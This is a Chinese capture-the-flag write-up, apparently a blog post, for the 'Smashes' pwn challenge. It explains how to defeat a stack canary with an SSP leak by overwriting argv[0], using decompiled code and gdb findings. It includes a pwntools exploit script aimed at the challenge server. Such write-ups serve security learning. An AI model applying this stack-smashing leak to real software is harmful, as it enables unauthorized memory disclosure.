Smashes

Smashes, try your best to smash!!!

 

file及checksec如下:

 

 

 

 

 

 查看main函数:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  setbuf(stdout, 0LL);
  sub_4007E0();
  return 0LL;
}

查看sub_4007E0函数:

unsigned __int64 sub_4007E0()
{
  __int64 v0; // rbx
  int v1; // eax
  char v3[264]; // [rsp+0h] [rbp-128h] BYREF
  unsigned __int64 v4; // [rsp+108h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1LL, "Hello!\nWhat's your name? ");
  if ( !_IO_gets(v3) )
LABEL_9:
    _exit(1);
  v0 = 0LL;
  __printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: ", v3);
  while ( 1 )
  {
    v1 = _IO_getc(stdin);
    if ( v1 == -1 )
      goto LABEL_9;
    if ( v1 == 10 )
      break;
    byte_600D20[v0++] = v1;
    if ( v0 == 32 )
      goto LABEL_8;
  }
  memset((void *)((int)v0 + 6294816LL), 0, (unsigned int)(32 - v0));
LABEL_8:
  puts("Thank you, bye!");
  return __readfsqword(0x28u) ^ v4;
}

发现存在栈溢出漏洞,不过程序开启了canary

发现程序中存在

 

 

 这里就是flag的位置

但是在sub_4007E0函数中这一处会被修改,因此寻找程序中这一段的备份

用gdb输入find PCTF得到

 

 

 0x400d20就是备份的位置

知识点:canary为了防止信息泄露以及其他漏洞的利用,会以\x00作为最低byte位

gets会在输入的最后补上'\n',这样无法绕过canary

对于canary,它在值被修改后会调用__stack_chk_fail然后结束程序

__stack_chk_fail函数如下:

void 
__attribute__ ((noreturn)) 
__stack_chk_fail (void) {   
    __fortify_fail ("stack smashing detected"); 
}

__fortity_fail函数如下:

void 
__attribute__ ((noreturn)) 
__fortify_fail (msg)
   const char *msg; {
      /* The loop is added only to keep gcc happy. */
         while (1)
              __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>") 
} 
libc_hidden_def (__fortify_fail)

如果可以控制argv[0],那么就可以利用canary获得想要的信息,这种攻击方法叫做SSP(Stack Smashing Protector) leak

argv[0]里是程序的绝对位置及文件名本身,因此可以在gdb里找到argv[0]的地址

 

 这里0x7fffffffe2c7就是argv[0]地址

只需要再找到我们输入的位置就可以计算出偏移量

 

 这里0x7fffffffdd40就是输入的位置

因此计算出偏移量:(0x7fffffffe2c7-0x7fffffffdd40)/8=176

exp如下:

from pwn import *

#io = process('./smashes')
io = connect('pwn.jarvisoj.com', 9877)

payload = p64(0x400d20)*176

io.sendlineafter('name? ', payload)
io.sendlineafter('flag: ', b'\n')

io.interactive()

效果如图:

 

posted @ 2021-01-15 14:26  hktk1643  阅读(177)  评论(0编辑  收藏  举报